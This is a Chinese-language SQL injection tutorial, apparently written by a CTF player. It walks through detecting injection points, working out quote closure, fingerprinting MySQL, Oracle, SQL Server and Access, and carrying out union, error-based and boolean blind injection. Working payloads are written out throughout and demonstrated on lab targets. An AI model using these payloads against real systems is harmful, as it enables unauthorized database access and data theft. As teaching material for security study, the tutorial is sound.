目录
6.其它数据库的联合注入(如sql server、access、oracle)
ctxsys.ctx_report.token_type()函数:
前言
SQL 注入是比较常见的网络攻击方式之一,它不是利用操作系统的 BUG 来实现攻击,而是针对程序员编写时的疏忽,通过 SQL 语句,实现无账号登录,甚至篡改数据库。
因为我是很久以前学习过sql注入,在这些年做ctf题的过程中积累了很多sql注入的知识,尤其是一些绕过知识和其它数据库的注入知识,所以这个系列会非常长。另外我在写的同时也是在自我完善的过程,所以也会非常基础,如果是小白可以好好看一下,应该能收获很多。
一、原理
SQL是一种用于与数据库交互的编程语言,它允许将数据和命令混合在同一语句中。例如,在一个简单的登录验证场景中,应用程序可能会构建一个SQL查询来检查用户输入的用户名和密码是否匹配数据库中的记录。正常的查询可能如下所示:
SELECT * FROM users WHERE username = 'user1' AND password = 'password1';
当Web应用程序没有正确验证用户输入时,攻击者可以在输入字段中插入SQL代码。例如,在一个登录表单中,如果应用程序没有对用户输入的用户名和密码进行严格的验证和过滤,攻击者可能会输入以下内容:
用户名:admin' --
密码:anything
这将导致后端sql语句变成:
SELECT * FROM users WHERE username = 'admin' --' AND password = 'anything';
最后会导致攻击者通过“--”注释符注释掉后面的语句,从而实现登录admin用户的效果。
二、判断 SQL 注入是否存在
想要测试SQL注入漏洞,第一步便是测试SQL注入是否存在。
1.改变参数值
查看页面的URL中是否存在参数,比如http://xxxxx.xxx/?id=1,尝试改变参数值,如将id的值加1或减1,然后查看页面展示的内容是否会变化。如果页面内容发生变化,说明该参数可能会带入数据库查询,可初步判断为潜在注入点。
令id=2
令id=1
可以看到id=1和id=2时回显不一样,参数可以带回数据库并可以显示出来,初步判断存在sql注入。
注:注入点也可能是POST、HEAD传参,只要是能够带入数据库进行执行的操作均为sql注入。
2.添加单引号
在确定潜在注入点后,尝试在参数值后添加单引号,如将id=1改为id=1'。如果页面直接报错,且报错信息显示到了页面中,说明输入的单引号被带入了数据库查询,可判断此处存在SQL注入漏洞。
正常页面:
添加单引号“ ' ”
可以看到报错,这时基本可以确定拥有sql注入漏洞,可以使用报错注入。
3.添加逻辑运算
根据判断出的注入点的数据类型和闭合方式,添加逻辑运算符进行测试。比如对于字符型注入点,可以添加and 1=1或and 1=2等逻辑运算。因为1=1恒为真,1=2恒为假,如果两次查询返回的页面不同,说明页面存在布尔状态,此处存在注入漏洞,可考虑使用布尔盲注进行注入。
注:添加and 1=2时要注意闭合和注释掉后面的内容。
在id=1后添加 ') and 1=2 -- qw')
在id=1后添加') and 1=1 -- qw')
可以看到当and 1=1时回显正常,但是and 1=2时回显错误,这时可判断存在sql注入。
4.利用函数测试
可以使用数据库的一些特定函数来进行测试,如sleep()函数。在参数后添加and sleep(5),然后观察页面响应时间是否明显变长,或者直接在开发者工具中网络选项卡下观察页面的响应时间。如果页面响应时间确实按照要求增加了,说明此处存在注入漏洞,可考虑通过延时注入。
对mysql靶场进行演示,构造传参id=1" and sleep(6) -- qwe,其中“--”是mysql的注释符,sleep()是mysql中的睡眠函数,意思是等待6s,qwe是为了预防网页后端加了首尾去空函数将注释符后空格去掉添加的,这里可以qwe可换成任意字符。
当看到页面确实出现卡顿,并且秒数为6s时可以判断sleep函数被写入数据库进行执行,可能存在sql注入。
三、确定注入类型(判断闭合)
因为在后端代码中,用户传入的参数是一个变量的值,这个变量有数值型和字符型两种类型,而字符型变量在后端代码引用当中需要加单引号来区分,有些网站甚至会用到双引号、括号等,所以我们在进行sql注入前先要判断我们传入的参数类型,以闭合后端脚本代码。
例如数字型的后端代码可能是这样(password变量):
SELECT * FROM users WHERE username = 'user1' AND password = password1;
//password1为我们传入变量,为数字型变量
当我们传入
用户名:admin
密码:1 or 1=1 -- qwe
时,后端代码变成:
SELECT * FROM users WHERE username = 'admin' AND password =1 or 1=1 -- qwe;
在后端的逻辑中,无论前面username和password传入何值,都会被后面的or 1=1导致恒为1,判断语句就会失效,最终绕过用户名和密码成功登录。
而如果想要修改admin的值来绕过用户名和密码,则需要添加单引号,这是因为admin的变量为字符型变量,后端在执行过程中加入了单引号来区分字符型变量。
修改如下
用户名:admin' --
密码:anything
后端代码变成:
SELECT * FROM users WHERE username = 'admin' --' AND password = 'anything';
这样同样可以绕过登录逻辑,区别在于后端的闭合代码。
综上所述,判断注入类型其实就是判断闭合的过程,我们在实战中可以一个一个进行尝试,可以尝试不闭合、“ ' ”、“ " ”、“ ') ”、“ ") ”。(加括号是可能存在函数嵌套,有时候甚至可以尝试双括号,因为屎山代码你懂的)
四、判断数据库类型
既然是sql注入,那么判断出数据库是什么也是至关重要的。
1.通过系统自带库来进行判断
下面是每个主流数据库的系统自带表名
数据库 | 表名 |
MySQL | information_schema.tables(表名表) |
Access | msysobjects(对象表) |
SQLServer(mssql) | sysobjects(对象表) |
Oralce | user_tables(当前用户表) |
通过这些特有表,我们就可以用如下的语句判断数据库。哪个页面正常显示,就属于哪个数据库。
//判断是否是 Mysql数据库
?id=1' and exists(select * from information_schema.tables) #
//判断是否是 access数据库
?id=1' and exists(select*from msysobjects) #
//判断是否是 Sqlserver数据库
id=1' and exists(select*from sysobjects) #
//判断是否是 Oracle数据库
id=1' and exists(select*from user_tables) #
以Oracle举例,构造传参:?id=1 and exists(select*from information_schema.tables)
确定不是mysql。
构造传参:?id=1 and exists(select*from sysobjects)
确定不是sql server。
构造传参:?id=1 and exists(select*from user_tables)
回显正常说明是oracle数据库。
但是仅仅通过这些,还不足以判断是哪个数据库,因为:
1.表名不唯一
例如:user_tables表是Oracle数据库中的一个系统表,用于存储用户拥有的表的列信息。然而,其他数据库系统中可能也存在名为user_tables的表,或者可能存在类似功能的表,只是表名不同。
2.权限限制
例如:在web环境下,Access的msysobjects表通常无法读取,在权限不足的情况下无法进行回显或者报错,很可能造成误判,所以并不能非常有效地确定是哪一个数据库。
2.通过错误信息判断
MySQL:错误信息通常包含“MySQL”字样,以及特定的错误描述,如“syntax error”。
Oracle:错误信息通常包含“ORA-”字样,后面跟着具体的错误代码和描述。
SQL Server:错误信息通常包含“Microsoft.NET”字样,错误描述中可能出现术语“T-SQL”。
Access:错误信息通常包含“Microsoft JET Database Engine”字样,以及特定的错误描述,如“80040e14”。
找不到例子了。。。。。这个数据库是真的少。
但是通过错误信息判断也并非靠谱,因为有些网站会自定义报错页面,这时就无法通过报错信息得到有用的信息。
例:直接显示数据库出错。
3.通过SQL语法特性判断
MySQL:支持“LIMIT”关键字来限制查询结果。
limit N,M : 从第 N 条记录开始, 返回 M 条记录
limit N : 返回 N 条记录
如果是mysql数据库,使用语句:
union select 1,2,3 limit 1,1
回显出现2、3,说明为mysql数据库。
Oracle:使用“ROWNUM”伪列来限制查询结果。(rownum是Oracle数据库中的一个伪列,用于为查询结果集中的每一行分配一个唯一的数字,第一行为1,依次加1,可以使用关系运算符输出多列)
这里使用语句:
SELECT * FROM v$version where rownum=1对oracle靶场进行演示。
可以看到返回了数据库信息,确实为oracle数据库。
SQL Server(mssql):支持“TOP”关键字来限制查询结果。
使用语句:
select top 2 *from sysobjects
这里对mssql数据库进行演示
如果是Oracle和mysql使用top则会出现报错。
Access:支持“TOP”关键字来限制查询结果。
但是这种判断方式也不是绝对的,因为access和sql server都支持“top”语句进行查询结果。
4.通过注释符号判断
MySQL:支持“#”、“//”、“--”作为注释符。
Oracle:支持“--”作为注释符。
SQL Server:支持“--”作为注释符。
Access:支持“--”作为注释符
可以看到除了mysql,其它都仅支持--为注释符,所以这个方式仅适用于测试数据库类型是否为mysql。
在ctf过程中,我们需要灵活使用以上4种方法来判断数据库的类型,通过不同数据库的不同的特性来判断出所使用数据库。
五、SQL注入方法(判断注入方式)
在上面两个步骤中,我们找到了一个sql注入点,并且判断出了所使用的数据库类型,那么现在需要通过sql注入的方式拿到想要的数据,而sql注入需要通过不同页面的状态来确定所使用的方式,下面是针对不同页面的不同注入方式。
1.联合注入(页面有回显数据点)
在sql注入的众多方法中,最为简单也最为便捷的就是联合注入了,因为其不用借助工具,所以在遇到站点时,首先要想到的便是联合注入。
联合注入是指在注入恶意代码时,使用union函数进行注入,这个函数在数据库中的意思是将下一个查询的输出结果和此次查询一起输出。
例如:
查询select 1,2,3 union select 4,5,6
在使用union的时候我们会发现,因为我们使用了union,所以可以执行开发人员想要执行操作以外的查询操作,这个时候就可以任意提取想要的信息了。
联合查询有两个必要条件:
- 两张虚拟表具有相同的列数
- 两张虚拟表对应列的数据类型相同
所以当一个地方可以使用联合查询时基本步骤为:
猜测虚拟表列数——判断显错位——获取数据库名——获取表名——获取列名——获取数据(前面还有3步:判断存在注入——判断闭合——判断数据库类型)
1.猜测虚拟表列数
这里可以使用两个方法来测试虚拟表有多少列
1.order by方法
ORDER BY子句用于对数据库表中的结果集进行排序。
通过不断增加ORDER BY后面的列数,直到页面返回错误,此时的列数就是表的列数。
这里假设前两次order 1和order 2已经尝试过并且回显正常,现在构造语句:
?id=1 order by 3
?id=1 order by 4
可以看到在order by 4时查询失败,在order by 3时成功,说明有3个字段。
2.union select方法
因为union查询时,两个虚拟表字段不一致会出现报错,那么就可以利用这个性质进行测试测出字段数。
id=1 union select 1,2
从union select 1开始,依次加数,直到成功为止
这里在联合虚拟表为2列时出错,为3时正常,说明有3列。
2.获取数据库名
因为在前一步中,联合查询1,2,3时页面出现了2和3,那么说明第二字段和第三字段为显错位,在sql注入中,有显错位的情况下我们通常使用union进行注入。
这里需要使用database()函数,这个函数的意思是返回当前数据库的名称,这一步也是为了验证数据库类型,不过这个函数是mysql独有函数。
以mysql靶场为例,这里我同时返回数据库名称和数据库版本
?id=1 union select 1,database(),version()
说明当前库为error,版本为5.7.33。
注:
database()函数不一定适用于所有数据库,oracle就不支持。
3.获取数据库表名
这里需要用到mysql的系统自带库information_schema.tables,这是mysql自带的表名库,里面存储了所有当前库的表名。
还需要用到information_schema.tables表中table_name列和table_schema列,其中table_name列是存储的表名,table_schema列存储的是表名对应的库名。
查询information_schema.tables表在数据库中执行结果
这里可以看到表名和库名的一一对照关系。
所以语句为:
1 union select 1,2,table_name from information_schema.tables where table_schema='error' limit 1,1
其意思是:查询当table_schema列数据为error时,information_schema.tables中的1,2和table_name字段,当列名不存在且为数字时,查询结果会直接返回查询的列名数字。limit 1,1 意思是从结果集中的第一条之后开始返回,返回一条数据。
说明第一个表名为error_flag,这里需要使用limit一个一个跑直到目前所在库的表名全部爆出,这里不再进行演示。
4.获取数据库列名
这里我们需要用到mysql自带的列名库information_schema.columns,和里面的字段column_name,这个列存储着数据库中所有的列名。
查询information_schema.columns表内容如下:
在这里可以看到库名、表名、列名的一一对应关系。
构造语句:
1 union select 1,2,column_name from information_schema.columns where table_schema='error' and table_name='error_flag' limit 1,1
这里成功爆出了flag列。如果没有找到可以一直使用limit x,1,让x的值从1往上累加,依次加1,来爆出全部列名数据。
5.获取数据库数据
这里到了最后一步,目前我们已知想要获取的数据在error库中的error_flag表中的flag列,这里直接进行查询即可。
1 union select 1,2,flag from error_flag limit 1,1
成功获取到想要的数据。
6.其它数据库的联合注入(如sql server、access、oracle)
在判断出数据库类型后,有可能数据库类型并不是mysql,这个时候就需要学习其它数据库的注入方法了。
1.oracle中:
判断列数:
在oracle中同样能使用order by,也可以使用判断列数的方法2,但是当使用方法2时需要注意oracle中对数据类型的校验非常严格,不同的注入点会限制不同的类型数据传入,所以这里需要使用null类型来进行,因为null类型在无论什么类型的情况下都可以成功运行。
并且需要注意在oracle中,查询必须有表的存在,如果没有则会报错,
所以这里使用oralce的虚表dual来代替查询。
union select null,null,null........ from dual
判断显错位:
在oracle中,判断显错位和mysql差不多,只不过需要进行爆破字段数据类型,所以通常在遇见oracle时选择使用其它注入方式较好。
这里注入代码为:(假设有4列)
?id=1 union select null,null,null,null from dual
测试方法位:先用null代替,再将里面的null一个个替换成别的类型。
说到替换类型,就需要知道oracle的三大数据类型,分别是varchar(nvarchar)型、number型、date型,这三种数据类型可以进行互相转换。
其中varchar型数据——→number型可以使用to_number()函数
varchar型——→date型可以使用to_date()函数
number型——→varchar(nvarchar)型使用to_char()(to_nchar)函数
number型——→date型使用to_char(to_date())函数嵌套
date型——→varchar(nvarchar)型使用to_char()(to_nchar)函数
date型——→number型使用to_number(to_char())函数
那么在替换类型时,可以使用函数进行类型替换。
这里我对oracle靶场进行替换时发现第三个字段为nvarchar型数据。
?id=1 and 1=2 union select null,null,to_nchar(123),null from dual
可以看到123回显在页面上,说明第三个字段为显错位。
这里我加上and 1=2是为了不输出id=1时提取到的数据,否则会优先输出union前面的查询结果,在一些页面当中就会出现union后面的查询结果被吞掉的情况,在平时渗透过程中,令id的值变成负数也是一个不错的方法。
判断库名、表名、列名:
与mysql相比,Oracle没有库的概念,里面的一个库就代表一个用户。Oracle里的表名全部存储在all_tables表里,字段名存在all_tab_columns。当前用户的表名信息和字段名信息存储在user_tables和user_tab_columns里面。
我们要查询的数据一般都是当前用户表的数据,并且在当前用户表user_tables中,一定存在table_name字段用来存储表名,所以我们通常是使用select table_name from user_tables来对数据库进行注入。
同时在oracle中,没有limit来对输出进行限制(如果不限制将会报错或者无返回信息),想要一条一条提取数据,就需要用到rownum这个虚字段了,这个字段其实并不存在,只是在我们查询的时候,系统会临时创建一个字段,名称为rownum,对这个虚字段查询结果如下:
可以发现rownum就像一个自增的主键id,每多一条数据便会加1。
这时,正常的思路是
SELECT table_name FROM ALLTABLES where rownum=1
但是这里我将rownum小于10的字段全部输出,可以看到和之前生成的rownum列所对应的表名并不一样。
这是因为rownum生成的字段是在查询时产生的,是在 where 过滤时动态分配,仅处理到满足条件的第一行,所以在查询时几乎随机,想要正确查询出表名或者列名、数据,需要使用到两个方法。
1.别名法
所谓别名法,就是给rownum列起一个别名,将这个别名列入子查询中,子查询中先为所有行分配rownum后再进行where过滤。
语句为:
select * from (SELECT table_name,rownum n FROM ALL_TABLES )where n=1
可以看到查询结果只有一条并且与之前查询出的rownum列对应的表名相同。
2.不等于法
按照之前随机生成rownum值的思路,我们的语句是这样的:
SELECT table_name FROM ALLTABLES where rownum=1
这么做的缺点是随机性太大,所要查询的数据按照这个进行查询无法避开重复数据导致查询量巨大,如果可以避开重复查询数据不就可以了吗。
所以修改后的语句为:
SELECT table_name FROM ALL_TABLES where rownum=1 and table_name<>'之前出现过的重复数据'
and table_name<>'重复数据'.........
这里面“<>”意思是不等于,通过table_name<>重复数据,来造成每次查询的结果不再重复,从而达成替换limit的效果。(不过在数据量过大时使用不等于法建议使用脚本来跑)
最后,在已知第三个字段为显错位的情况下,查询表名需要使用语句:(这里使用了别名法)
?id=1 and 1=2 union select null,null,to_nchar(table_name),null from (select table_name,rownum n from user_tables where rownum<5) where n=1
最后执行结果如下:
成功爆出了admin表名,后面就是依次给n+1来一个个寻找表名。
然后查询列名,之前提到所有字段名都在user_tab_columns表中,并且一定有一个字段名为column_name来存储当前用户表的字段名,所以一般使用select column_name from user_tab_columns来进行查找字段名。
语句为(别名法):
?id=1 and 1=2 union select null,null,to_nchar(column_name),null from (select column_name,rownum n from user_tab_columns where table_name='ADMIN') where n=1
爆出UNAME字段名。
最后是提取数据,因为测试发现flag不在admin表,在md5表中的val字段,所以语句为:
?id=1 and 1=2 union select null,null,to_nchar(val),null from (select val,rownum n from md5) where n=3
最终成功拿到flag
2.access中(不常见)
在access数据库中,默认没有权限访问系统自带表,所以无法直接查出字段和表名,这里可以使用“ 表名.* ”格式来对access数据库进行爆破,例如表名叫admin,那么其中的字段名全部集合起来可以表示为" admin.* ",这样一来只需要知道表名就能够进行测试了。
详细原理:
假设一个表有8个字段,admin表有3个字段。
联合查询payload:union select 1,2,3,4,5,6,7,8 from admin。
在我们不知道admin有多少字段的情况下可以尝试payload:union select 1,2,3,4,5,6,7,admin.* from admin,此时页面出错直到payload:union select 1,2,3,4,5,admin.* from admin时页面返回正常,说明admin表有三个字段。
然后通过移动admin.*的位置,就可以回显不同的数据。
首先需要爆破表名:
这里因为靶场后端在get传参中加了waf,但是cookie中的值可以不受waf影响并且还能传入数据库,这里将get传参改为cookie。
id=105 and exists(select * from table_name)
这里需要将table_name替换成字典进行爆破,使用burpsuite中的intruder模块。
这里可以看到除了admin字段其它字段测试全部是997的页面长度,所以可以验证一下,这里使用控制台控制一下cookie然后刷新即可。
document.cookie="id="+escape("105 and exists(select * from admin)")
需注意地址栏需不能进行get传参,因为get传参优先于cookie传参,并且会将cookie传参覆盖掉,这里需要将get传参清空再发送请求。
刷新后页面不变说明admin表确实存在。
判断虚拟表列数:
?ID=105 order by n //n从1开始依次加1进行测试
发现有26个字段。
然后需要判断显错位:
document.cookie="id="+escape("105 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26 from admin")
这里发现3、5、7为显错位。
因为第一步就直接爆破出表名了,所以后面就是使用admin.*进行测出数据了。
测出数据:
document.cookie="id="+escape("105 union select admin.*,17,18,19,20,21,22,23,24,25,26 from admin")
3.sql server中(不常见)
sql server注入和mysql没有什么不同,不同点在于表名的不同和数据类型的限制。
需要了解的系统表:
sysobjects:
可以理解为表名表,里面有id字段和name字段,name字段存表名。
syscolumns:
可以理解为字段表,里面也有id字段和name字段,name字段存字段名。
sysdatabases:
可以理解为库名表,里面有dbid字段和name字段,里面的name存库名。
还需要了解几个类似mysql中database()函数(可了解可不了解,主要为了偷懒)
host_name():返回服务器端主机名称
current_user():返回当前数据库用户
db_name():返回当前数据库库名
注:
sql server也拥有information_schema.tables和information_schema.columns,表内也有table_name和column_name字段,只不过sysobjects更好用一点,因为可以少写点where后的语句。(偷懒小技巧)
测列数:
/?id=1' order by 3 -- qwe
测出有3列
测表名:
查询本地sql server结果如下:
name
表示表名, 每个表有自己特有的id
, xtype
表示指定数据类型,“U”表示用户创建的表而不是系统表。
' and 1=2 union select id,name,null from sysobjects where xtype='U'-- qwe
这里我们知道了admin表的id,利用这个id继续查询syscolumns表。(syscolumns表中id和sysobjects表中id一致的话,存储的表信息就是对应的)
' and 1=2 union select id,name,null from syscolumns where id='1977058079' -- qwe
这里知道了admin的字段id、passwd、token、username。
最后测出数据:
' and 1=2 union select id,passwd,token from admin -- qwe
注:
union注入需要在有回显的情况下使用,否则无法判断出所想要提取的信息。
union后面只能接查询语句select。
2.报错注入(需页面报错带出数据)
报错注入的意思是对数据库进行查询时出错,但是数据库报错时会将一些敏感数据显示出来,这时就能够利用报错信息拿取想要的数据了。
1.mysql的报错注入
在mysql中,用于报错注入的函数有很多,最常见的是updatexml、floor、exp、extractvalue,至于为什么要学习这么多种函数,一方面是为了绕过waf对函数的限制,另一方面也是为了更好的防御嘛(前面都是瞎说,其实是为了面试,之前面试被问了3种以上的方法让我十分懵逼,后来恶补这方面的知识)。
updatexml函数:
updatexml函数是MySQL数据库中的一个XML处理函数,当使用不当或受到恶意输入时,它可以触发错误并返回有关数据库结构的信息。其语法如下:
updatexml("目标xml内容", "xml文档路径","更新内容")
利用原理:
当指定的xml路径不存在时,updatexml函数会返回一个错误。 例如,以下是一个使用updatexml函数进行报错注入的示例:
select updatexml(1, concat('!',database()), 1)
这个函数中使用concat函数将database()和“!”结合起来,导致数据库无法识别这段字符,最后将库名当中错误信息返回。
floor()函数:
floor()是向下取整函数,是用于计算的函数,但是也会通过报错返回错误信息,导致敏感信息泄露。
利用原理:
结合rand()——随机返回0~1之间小数、group by——分类汇总函数、count(*)——计算数量
当使用 group by
对 floor(rand()*2)
这样的动态表达式进行分组时,MySQL 内部需要生成一个临时表来存储分组结果。此时,如果第一次计算的键值为 0
,第二次计算的键值为 1
,而临时表中已经存在 0
或 1
的键,就会触发 Duplicate entry
错误从而抛出错误。
select count(*),concat(floor(rand(0)*2),database()) x from information_schema.tables group by x
在这个示例中,我们通过concat函数将floor(rand(0)*2)的结果与数据库名连接起来,然后使用group by语句进行分组,从而导致数据库报错,并在报错信息中显示出数据库名。
exp()函数:
exp(x):计算e^x的值。当x
过大时(如x > 709
),会导致数值溢出错误,下面是示例:
select exp(~(select*from(select database())x))
~运算符将子查询结果按位取反,生成极大值。
因为我的数据库没能复现成功,这里不演示了。
extractvalue()函数:
extractvalue(目标xml内容, xml文档路径)
用于从XML文档中提取节点值。与updatexml
类似,xml文档路径错误会触发报错。
select extractvalue(1, concat('!', (select database()), 1));
实战:
这里以ctfhub——web——sql——报错注入为例:
第一步判断注入点以及是否存在(因为sql注入靶场而且注入点很明显,所以略)
第二步判断注入类型(判断闭合)
这里使用不闭合、“ ' ”、“ " ”、“ ') ”、“ ") ”来判断闭合,发现没有闭合(数字型)。
1' -- qwe
第三步判断注入方式:
正常实战需要先进行判断能否使用联合注入,也就是看回显,这里我尝试发现没有回显数据,所以尝试报错。
第四步判断库名:
这里使用updatexml()函数进行测试。
1 union select updatexml(1,concat(0x7e,database(),0x7e),1);
这里的0x7e是16进制的~,和“!”作用一样。
库名是sqli
第五步判断表名:
1 union select updatexml(1,concat(0x7e, (select(group_concat(table_name))from information_schema.tables where table_schema="sqli") ,0x7e),1);
这里我使用了group_by()函数,这个函数可以将分组中的多个值合并为一个字符串,在手工测试时效率比limit一条一条查要高,得到表名news和flag。(又是一个偷懒小技巧)
第六步判断列名:
1 union select updatexml(1,concat(0x7e, (select(group_concat(column_name))from information_schema.columns where table_name="flag") ,0x7e),1);
可以看到列名只有一个flag。
第七步判断数据:
1 union select updatexml(1,concat(0x7e, (select(group_concat(flag)) from sqli.flag) ,0x7e),1);
但是只拿到一半flag,这里需要再使用right函数让数据从右往左输出。
这里的right(***,31)是指从右往左显示31字符。
1 union select updatexml(1,concat(0x7e, right((select(group_concat(flag)) from sqli.flag) ,31),0x7e),1);
2.oracle报错注入:
oracle报错注入和mysql报错注入的原理一样,对原理就不多解释了。
ctxsys.drithsx.sn()函数:
ctxsys.drithsx.sn()函数是Oracle数据库中的一个函数,主要用于全文检索,在里面嵌入子查询便会将数据连带错误一起爆出。
SELECT CTXSYS.drithsx.sn(1,(SELECT banner FROM sys.v_$version WHERE rownum=1)) FROM dual;
ctxsys.ctx_report.token_type()函数:
ctxsys.ctx_report.token_type()函数是Oracle数据库中的一个辅助功能,可将英语名称转换为数字标记类型。和ctxsys.drithsx.sn()函数一样,在里面嵌入子查询便会将数据连带错误一起爆出。
select ctxsys.ctx_report.token_type((select banner from sys.v_$version where rownum=1), 'x') from dual;
extract()函数和xmltype()函数结合:
extract()函数是Oracle数据库中的一个日期和时间处理函数,用于从一个日期(DATE)或者时间间隔(INTERVAL)类型的数据中提取特定的部分,例如,可以使用extract(year from date'2011-05-17')来提取日期2011-05-17中的年份部分,结果为2011。
xmltype()函数用于将一个字符串转换为XML类型的数据。
正常用法是extract(xmltype('<root><element>value</element></root>'),'/root/element')来从XML数据中提取特定节点的值,这里的xmltype函数仅作为一个参数使用,如果少了xmltype则会出现少参数的错误而不是带出数据。
主要是利用extract()函数进行报错,当包含特殊字符或者不符合XPath语法的内容时,extract()函数会因为无法正确解析XPath表达式而产生错误。
select extract(xmltype('<root/>'), '/root/'||(select banner from sys.v_$version where rownum=1)) from dual;
这个函数和其它两个有一点不同之处,这个函数需要配合select语句使用,所以一般需要union,而前两个函数可以直接在where后面使用"1=ctxsys.*"即可。
以上3种函数只需要将其中子查询替换为自己构造的注入语句即可。
实战:
因为步骤和mysql报错注入一样,这里仅给出流程和测库名部分,其它部分自行替换子查询语句即可。
流程为判断存在注入——判断闭合——判断数据库类型——判断注入方式——猜测虚拟表列数——获取数据库名——获取表名——获取列名——获取数据
前面步骤全部跳过,这里直接判断表名:
1 and 1=ctxsys.drithsx.sn(1,(select table_name from (select table_name,rownum n from user_tables where rownum<6)where n=3))
如果没有看懂可以去前面的oracle显错注入查看rownum的用法,这里rownum的作用是一条一条显示数据,"and 1="是因为在sql注入中,往往注入点在where后面,这时无法再次使用select(其实可以用堆叠或者联合),所以我们需要将ctxsys.drithsx.sn(***)当成表达式的值,使用1=连接将表达式的值爆出即可。
示例:
后面就是重复的流程,不再演示了。
3.sql server报错注入
convert()函数:转化类型的函数。
将字符串或非数值数据强制转换为数值类型,触发类型转换错误,错误信息中会包含原始字符串内容。
where value=convert(int, db_name())
这里将master库名转换成int型会报错并带出信息,where是假设页面注入点在where之后的示例,如果使用联合可以直接select convert(***)。
实战和之前一样,这里仅给出流程:
判断存在注入——判断闭合——判断数据库类型——猜测虚拟表列数——获取数据库名——获取表名——获取列名——获取数据
4.access报错注入
access不能进行报错注入,因为access没有权限访问系统自带表,导致表名等需要进行爆破,所以access多是盲注和联合注入。
注:
报错注入需要页面能够显示错误信息,如果错误信息被服务器自定义了则无法使用此方法。
3.布尔盲注(需页面能够根据语句返回不同状态)
布尔盲注的基本思路是通过一系列猜测性的SQL查询来触发应用的不同行为反应,进而逐步推理出想要知道的信息。每个猜测都会使应用返回一种特定的状态,这些状态可以被解释为“真”或“假”。通过这种方式,攻击者可以构建一系列问题来揭示数据库中的数据
这里需要用到以下几个函数:
1,length(字符串):测字符串长度
2,substr(截取内容,截取位数,截取个数):测出截取内容中对应位数的字符
1.mysql布尔盲注:
判断存在注入——判断闭合——判断数据库类型都省略掉。
判断列数
1 order by 2
发现两列
判断注入方式(顺序可以和判断列数进行替换)
这里开始测试联合,然后测报错,最后发现都不能使用,可以尝试报错。
1 union select 1,2,3
无显错位,测报错注入
1 union select updatexml(1, concat('!',database()), 1)
无报错注入,这里开始使用布尔盲注。
判断库名
判断库名的第一步是判断库名长度。
1 and length(database())>n //n从1开始依次加1
这里将">"后面的数字依次加1,直到12时页面发生变化,推断出库名长度12位。
使用substr语句测出其完整字符串
1 and substr(database(),1,1)='k'
页面显示有数据说明第一位字母为k。
因为截取位数一共12位,英文字母有26位,那么我们测试时间则达到了12*26次,那么有没有办法可以减小工作量呢,这里我使用burp对其进行爆破,如果不会用工具可以搜burp使用教程,这里给出我的burp使用截图。
跑出的包使用length做筛选即可,失败的返回包长度和成功不一样,这里跑出库名kanwolongxia。
判断表名
这里还需要判断表长
1 and length((select table_name from information_schema.tables where table_schema='kanwolongxia' limit 0,1))>n //n依次加1
之所以两个括号是因为length函数测的是函数和表达式长度,如果想要测一个查询语句的长度,需要将其转化为表达式,转换成表达式很容易,多加一个括号就行了,后面的测列长也是如此。
测出表长为6。
然后使用substr()开始测表名,语句如下
1 and substr((select table_name from information_schema.tables where table_schema='kanwolongxia' limit 0,1),n,1)='x'
//n为数字依次加1,表示从第几位截取,x为字母,表示截取的位数对应的字母
模式和之前一样,跑出结果为loflag,这里如果要查询其它表,需要对limit 0,1中的0进行修改,limit 0,1表示从第0条数据开始取一条数据,如果想取第二条数据就将0改成1即可。
判断列名
将substr内容替换成列名查询,其余和上面一样,略。
1 and substr((select column_name from information_schema.columns where table_name='loflag' limit 0,1),n,1)='x'
//n为数字依次加1,表示从第几位截取,x为字母,表示截取的位数对应的字母
判断数据
操作流程和上面一样这里直接给出结果。
最后找到flag为zkaq-qqq。
2.oracle布尔盲注
oracle所用到的函数和mysql一样,分别是length()获取字符串长度、substr()截取字符串。
length():
这里在本地环境使用length()测表长
select *from dr$dbo where 1=1 AND length((select table_name from (select table_name,rownum n from user_tables) where n=1))>20
substr():
这里在本地使用substr测表名
select *from dr$dbo where 1=1 AND substr((select table_name from (select table_name,rownum n from user_tables) where n=1),1,1)='L'
具体流程参考oracle联合注入和mysql布尔盲注,这里仅给出判断表长和判断表名的示例:
在靶场中
select * from news where ID=1 AND length((select table_name from (select table_name,rownum n from user_tables) where n=1))>3
当表长大于3时正常回显
表长大于4时无返回数据,说明表长为4。
这里因为第一个测出的列数不是flag所在列,所以对where中的n值进行修改。
1 AND substr((select table_name from (select table_name,rownum n from user_tables) where n=3),1,1)='A'
这里可以看到表的第一个字母为A,因为手工跑需要跑很久,所以后面使用burpsuite进行测试。
直接给出脚本设置:
最后点击length使其递减排序,长度明显大于其它页面长度的就是成功字母。
这里爆出表名admin,后面的列名和数据和oracle联合注入的查询语句一样。
3.sql server布尔盲注
sql server中的函数和mysql不太一样,下面是需要了解的函数:
len()函数:
和length()函数一样,用于查询长度。
select *from sysobjects where id=4 and len(db_name())>5;
substring():
和substr()函数一样,用于截取字符串。
select *from sysobjects where id=4 and substring(db_name(),1,1)='m';
在靶场中,这里仅给出判断表长和判断表名的示例:
判断表长
这里因为闭合为“ ' ”,所以需要在前面添加单引号和注释掉后面的内容。
1' and len((select top 1 name from sysobjects where xtype='U'))>3 -- qwe
大于3回显正常,大于4回显异常说明表长4。
判断表名
1' and substring((select top 1 name from sysobjects where xtype='U'),n,1)='x' -- qwe
//爆破n,x
这里我将url解码放在记事本里,当n=1,x=n时,页面成功回显,说明表第一个字为n。
最后使用burpsuite爆破即可。
4.access布尔盲注
需要用到函数:
exists(字符串):
判断字符串内容是否存在,如果有返回ture,没有返回false。
mid(字符串,起始位置,截取位数):
和substr()一样,用于截取字符串。
Asc(字符串):
获取字符ASCII码。
len(字符串):
和sql server一样,测长度函数。
靶场中:
流程是判断存在注入——判断闭合——判断数据库类型——判断注入方式——获取表名——获取列名——获取数据
先判断表名,这里使用exists函数进行爆破表名。
document.cookie="id="+escape("105 and exists(select *from admin)")
可以看到当表名为admin时页面回显正常。
再使用查询语句爆破列名
document.cookie="id="+escape("105 and exists(select aaa from admin)")
//爆破aaa即可
这里一口气爆出了24列,只能一列一列进行寻找了。
判断数据
这里就需要使用len()、asc()和mid()函数了。
首先使用len()判断出数据长度
document.cookie="id="+escape("105 and len((SELECT top 1 password FROM admin))>n ")
让n依次加1,最后测出数据长度为16。
然后就是使用mid对admin的password字段进行截取,再使用asc将截取的字母换成ascll值(这里本来可以不用的,但是password内的数据有数字和字母,当数据可能包含特殊字符以及字母和数字时,使用=’x'进行测试将会导致找不到合适字典的情况,所以直接使用ascll码来表示还要方便一点),最后对1到16位数据进行爆破。
